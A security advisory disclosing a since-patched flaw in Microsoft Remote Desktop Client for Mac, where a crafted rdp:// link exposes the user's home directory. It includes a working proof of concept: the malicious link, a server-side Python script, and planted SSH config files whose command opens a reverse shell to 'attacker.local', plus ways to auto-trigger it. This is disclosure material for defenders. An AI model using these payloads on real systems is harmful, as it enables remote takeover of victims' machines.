Advisory ID: SGMA16-004
Title: Microsoft Remote Desktop Client for Mac Remote Code
Execution
Product: Microsoft Remote Desktop Client for Mac
Version: 8.0.36 and probably prior
Vendor: www.microsoft.com
Type: Arbitrary file read/write (leads to RCE)
Risk level: 4 / 5
Credit: filippo.cavallarin@xxxxxxxxxxxxxxxx
CVE: None
Vendor notification: 2016-07-13
Vendor fix: 2017-01-17
Public disclosure: 2017-01-23
Details
A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote
attacker to execute arbitrary code on the target machine.
User interaction is needed to exploit this issue, but a single click on a link
(sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.
Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior)
allows a malicious Terminal Server to read and write any file in the home
directory of the connecting user.
The vulnerability exists to the way the application handles rdp urls. In the
rdp url schema it's possible to specify a parameter that will make the user's
home directory accessible to the server without any warning or confirmation
request. If an attacker can trick a user to open a malicious rdp url, he/she
can read and write any file within the victim's home directoy.
Since Mac OS X by default opens rdp urls without confirmation (for example via
Safari, Mail, Messages), a single click on a link it's sufficient to trigger
the vulnerability.
According to Microsoft, no CVE will be assigned due to the release model of
this particular client.
A demo video is available at https://youtu.be/6HeSiXYRpNY.
PoC
The following Proof Of Concept creates a directory on the victim's home and
puts a file into it.
To reproduce the issue follow the steps below:
1. install a windows 2008 server and allow Administrator to connect without
password
2. login as Administrator
3. configure a trusted ssl certificate for rdp connections
4. install python2.7 and put the following script in the "Startup" folder
5. logout
6. send the link below to a victim
RDP link:
rdp://full%20address=s:attacker.local&desktopwidth=i:200&desktopheight=i:200&audiomode=i:2&disable%20themes=i:1&screen%20mode%20id=i:1&devicestoredirect:s:*&drivestoredirect=s:*&redirectprinters=i:1&username=s:Administrator
Python script:
#BOF
import sys
import subprocess
import time
import os
def runcmd(cmd):
err = None
out = None
try:
process = subprocess.Popen(cmd, shell=True,
stdout=subprocess.PIPE);
out, err = process.communicate()
except Exception as e:
print str(e)
return out
while(True):
netuse = runcmd("net use")
if netuse.find("TSCLIENT"):
runcmd('MKLINK /D C:\\home \\\\tsclient\\home')
runcmd('md c:\\home\\REMOTE')
runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')
runcmd("shutdown /l /f")
break
time.sleep(0.4)
#EOF
Remote Code Execuiton
To execute arbitrary code on the target machine we can use a trick that
involves ssh and ssh:// URI handler.
Consider the following example where the RDC exploit pushes the following files
on the remote machine:
1. ~/.ssh/known_hosts
p ssh-rsa
AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. ~/.ssh/config
Host p
HostName p
ProxyCommand /bin/bash ~/.ssh/command.sh
3. ~/.ssh/command.sh
for a in {1..31}; do trap "" $a; done
nohup bash -i >& /dev/tcp/attacker.local/1234 0>&1 &
At this point any attempt to launch ssh://p will lead to the execution of
~/.ssh/command.sh without any warning. To automatically execute the triggering
URL (ssh://p) we can either:
1. send the link to the victim via Mail or iMessage
2. poison Safari cache adding some javascript that launches the URL
3. poison Safari "Application Saved State" so that the URL il launched at
browser execuition
4. poison "loginitems" to launch the URL at system startup
It's also possible achieve Remote Code Execution by sending a single link to
the victim if he/she uses Safari as the default browser.
UPDATE:
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this
exploit from working. This fix is mentioned in the Apple Store:
"This update fixes an issue where a website could repeately attempt to launch
other websites or applications"
Solution
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue.
References
https://www.wearesegment.com/research/Microsoft-Remote-Desktop-Client-for-Mac-Remote-Code-Execution
Attachment:
signature.asc
Description: Message signed with OpenPGP using GPGMail